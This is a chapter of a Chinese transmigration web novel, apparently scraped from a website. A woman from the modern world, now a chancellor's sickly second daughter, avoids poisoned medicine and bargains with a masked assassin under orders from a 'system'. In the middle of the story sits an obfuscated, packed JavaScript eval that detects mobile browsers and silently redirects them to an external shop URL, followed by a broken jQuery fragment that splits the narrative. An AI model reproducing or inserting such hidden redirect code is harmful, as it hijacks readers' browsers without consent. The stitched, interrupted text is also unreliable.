小寒那天,丞相府下雪了。
唐宜清站在偏院的长廊,身上裹着一件颜色黯淡的披风,上面的绒毛皱巴巴的贴在一起,抵御寒风的作用几近于无。
那日她落水的湖,现在应该结冰了。
“小姐,该回去喝药了。”
有脚步声从不远处传来,唐宜清转身,只见一个穿着嫩黄色衣衫的小丫鬟从门口急匆匆跑来,手里还拿着个食盒。
唐宜清点了点头,率先迈步回了厢房。
食盒被打开,里面只有一碗黑漆漆的汤药,在冬日里散发着热气。
“小姐,快喝吧,冬日里药凉的快。”
唐宜清伸手准备去拿药,这副身子很瘦,纤瘦的手腕几乎只有两指宽,上挂着一只翠色很淡的镯子,那是她母亲留下的遗物,在手腕上荡着。
房间里很安静,唐宜清却忽然收回了去端药的手,转而看向一直站在身边的桂枝道。
“桂枝,你今日的话,比往日多了些,是有什么好事发生吗?”
“没...没有啊小姐,我忽然想起,云荷方才唤我去烧柴,我先去了。”
唐宜清端坐在原地,手指轻轻敲了敲桌面,看着她即将离开的身影,轻咳了两声。
就见桂枝的脚步顿住了。
她的手扣在门板上,整个人被那扇门分割成两块,大部分是在室外的,一粒雪花飘在她肩上的时候,唐宜清听见她的声音响起。
“小姐...若是今日不想喝药,那便不喝了。”轻飘飘的,像是怕吓到了谁。
唐宜清没有说话,只是眼睛盯着桂枝,她始终没有回头,身影越来越小,直至消失不见。
雪下了有大半个晚上了,门外早已积了一层薄薄的雪,唐宜清垂眸,那碗药上的热气快要被寒冷吞没了。
“你看不出这里面有毒?”
“堂堂丞相府二小姐,难道就一点脑子都没有吗?”
在唐宜清的手触到碗边时,一道声音从上方传来。
她顺着声音看去,那声音却又到了她的后方。
唐宜清皱了皱眉,放下了药,转身看向那人道:“那阁下又是以什么身份说这些话的呢?”
“偷窥了我将近三月的小贼?又或是...现在闹的城中人心惶惶的刺客?”
话音未落,一双滚烫的手便掐上了唐宜清的脖子。
男人的声音里带着轻松,甚至唐宜清还能从他露出来的眼眸中看出笑意,可他手上的力道却越来越大,像是随时能把唐宜清掐死。
“二小姐,知道的太多,对你应该没有好处。”
二人四目相对,唐宜清没说话,只是轻轻眨了下眼。
原本苍白的脸颊,此刻开始因窒息而开始泛红。
她不知道男人是否是被自己这死到临头还选择沉默的态度惊到,抑或是什么别的原因,半晌后,呼吸又重新恢复正常。
“咳咳....”
唐宜清趴在桌子上剧烈地咳着,整张脸连带着脖子都红了,眼眸也不自觉带上水光。
【叮!检测到可用委托人,陆之煜。】
【帮其躲避追杀,隐藏身份,为期三月。】
【任务成功,奖励生命值180天;任务失败,则被抹杀。】
唐宜清双手扣住桌子,身子伏在上面,呼吸被硬生生掐断的感受依旧,可她却悄然扬起嘴角。
上钩了。
...
“你是怎么知道的。”
“那你又是怎么知道那药里有毒?”
“我不仅知道药里有毒,我还知道,你应该在三月前就死了。”
唐宜清没回答他的问题,反问道。
换来了男人的一声轻笑。
男人带着黑色的面罩,唐宜清只看得到他一双眉眼,应该是个张扬的人,她想。
唐宜清偏了偏头,起身亲自给坐在对面的男人倒了杯茶。杯子被轻轻放在桌上,发出细微的声响。
只见陆之煜挑了挑眉,瞥了眼那杯茶,没有要喝的意思。
“抱歉,我忘记了,你还带着面罩。”
唐宜清的抱歉毫无诚意,她走到门口,轻轻关上了门,隔绝了外面的风雪。
回到内室,唐宜清还没坐下,便听到陆之煜略带急切地开口。
“你是如何知晓我在你这儿待了三月的?”
“不好意思,我自幼嗅觉灵敏,你身上的血腥味太重,还夹杂着些别的气味。”
“那你为什么不拆穿我?”
“公子,你难道没有听说过礼尚往来吗?”
“你选择留我一命,还告诉我药里有毒,所以我回答了你的问题,现在是否该你回答我了?”
唐宜清没有回答他,只是自顾自喝了茶,反问他。眼神却没有放在男人身上,像是对他的话毫不在意,就像她不在意那药里是否有毒一样。
“有人来了。”
陆之煜忽然轻声说道,下一瞬,人便消失在原地。
唐宜清看着桌上的两个杯子,有些出神,杂乱的脚步声传来,门外浩浩荡荡走来了一群人。
“妹妹,身子可好些了?可有按时喝药?那可是我特意找人研制的秘方,桂枝那丫头可有每日督促你?”
“见过姐姐,已经好多了,药每日都在喝。”
深紫色的披风垂落在地,唐宜清起身,始终低着头,朝着对面行了一礼。
说完,唐宜清掩面咳嗽了两声,伸手拉了拉自己身上的披风,遮住了自己的脖子,上面的红痕,一时半会儿应是下不去的。
一旁的下人早已为唐宛仪拉开椅子,那正是陆之煜方才坐过的地方。
“妹妹啊,好好喝药,这样才能早日康复。”
唐宜清没反驳,轻轻“嗯”了一声,就见她那位名义上的姐姐,已经把手伸到了食盒中。
心跳下意识加快,唐宜清后背都有些湿了,可唐宛仪却像是没觉出异常,收回了手,接着道:“等你养好了身子,姐姐带你去见见你未来的姐夫。”
姐夫?唐宜清袖中的手无意识收紧。
是那位,在唐宜清和唐宛仪二人中摇摆不定,导致唐宛仪盛怒,一气之下将她推到水中的赵公子。
还是...宫中那位风头无两的太子殿下?
“大小姐,赵家小姐已经在前厅候着了,我们该走了。”
说话的人是唐宛仪身边的大丫鬟,霞儿。
唐宜清抬头看了她一眼,她身着一袭白色带红色点缀的袄子,领口还带着绒毛,瞧着比自己身上这件不知道放了多久的披风还要暖和。
若不是二人一站一坐,旁人怕是很难分清到底谁是主子谁是丫鬟。
“姐姐若是有事,就先去忙吧。”唐宜清主动开口,看着唐宛仪懒懒地打了个哈欠,手刚伸出去霞儿便上前搀扶。
看着一行人离开的背影,唐宜清眯了眯眼,霞儿还真是条忠心耿耿的狗。
就是不知道,若是她知晓嫡姐把推原身下水的罪责安在她头上会作何反应。
霞儿、桂枝,一个是她嫡姐身边的贴身大丫鬟;另一个,则是和原主相依为命十几年,说是亲人也不为过的人。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17966310|214527||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
可她们,似乎都和原主的死脱不了干系。
风声从耳后传来,唐宜清没动,依旧站在门口。
寒风裹挟着些许碎雪,打在人身上没什么重量,可寒风是实打实的凉。
“二小姐,毒药你躲了过去,难不成,是想把自己冻死在外面?”
唐宜清这才回头看向陆之煜,男人其实和她想象中的不太一样。
三月前,她明明还在公司加班,却在一阵晕眩过后,来到了这个陌生的时代。
第一个见到的人,就是她的那位嫡姐,唐宛仪。
唐宛仪对她说了些什么,可她听不清,眼睛也被泪水模糊。
随即,还没等她反应过来,整个人就被推到水中。
不知道过了多久,久到唐宜清觉得自己应该是死了,耳边明明已经听到大夫说“准备后事”,可她却奇迹般地活了。
在外人看来,这实在是个奇迹,但只有唐宜清自己知道。
是系统救了她。
至于陆之煜...
唐宜清走到他面前,二人身高差得有些多,她需要仰头才能和对方对视。
“你...和我想象的不太一样。”
“二小姐真会说笑,据我所知,你整日待在房中,别说认识我、知道我,我现在都开始怀疑,你说的什么刺客是在诈我了。”
闻言,唐宜清心跳下意识漏了一拍,随即便开始疯狂跳动。
他...猜到了自己的阴谋吗?
男人说这话,语气半开玩笑半认真,眼睛是弯着的,眸子里却满是探究。
唐宜清摆了摆手,室内方才来了些人,温度高了些,身上的披风就显得有些多余。
脖颈上的红痕随着她的动作显露出来,唐宜清清晰地看到,陆之煜眼里闪过一丝心虚...还有些别的情绪。
“二小姐,我真的很好奇,你到底是如何知晓我的身份的?”
唐宜清看向他,他此刻正靠在窗台上,只露出了小半张脸,皮肤很白,不知是外面的雪光映衬,还是他生来如此,一双桃花眼半眯着,眼里似乎有光。
但这些都不重要,最让唐宜清觉得不安的,是男人手中把玩着的一把袖珍小刀。
刀刃极其锋利,应是主人日日磨刀,稍微变换个角度,就会发出骇人的寒光。
唐宜清眼睫颤了颤,抿了抿唇,背后不知何时已经渗出了一层冷汗。
系统并没有告知她陆之煜的身份,她对对方一无所知,可陆之煜,似乎对她十分了解。
若是陆之煜知道她来自异世,又或者他突然变了主意,想要杀掉她以绝后患...
唐宜清微不可察地摇了摇头,把无关的思绪全都清除,嘴角微微勾起,清声道。
“陆公子,我们做个交易吧。”
下一瞬,一道寒光便从唐宜清左侧穿过,在她眼下留下了一道浅浅的血痕。
陆之煜的声音从不远处传来,有些缥缈,却又带着无尽的威压。
“陆公子?唐二小姐,我有没有说过,知道的太多,对你没有好处?”
“如果陆公子不介意被人当场抓获,我自然是不介意在这里和你探讨我信息的来源。”
门外杂乱的脚步声响起,盔甲碰撞的声音逐渐靠近。
抹了把脸上滑下来的血,唐宜清笑着看向陆之煜道:“做个交易吗?”
“交易?你为何不拆穿我,到底是想从我身上得到什么?”陆之煜顿了顿,眼里噙着不达眼底的笑意。
“金钱、权力,还是...我这个人?”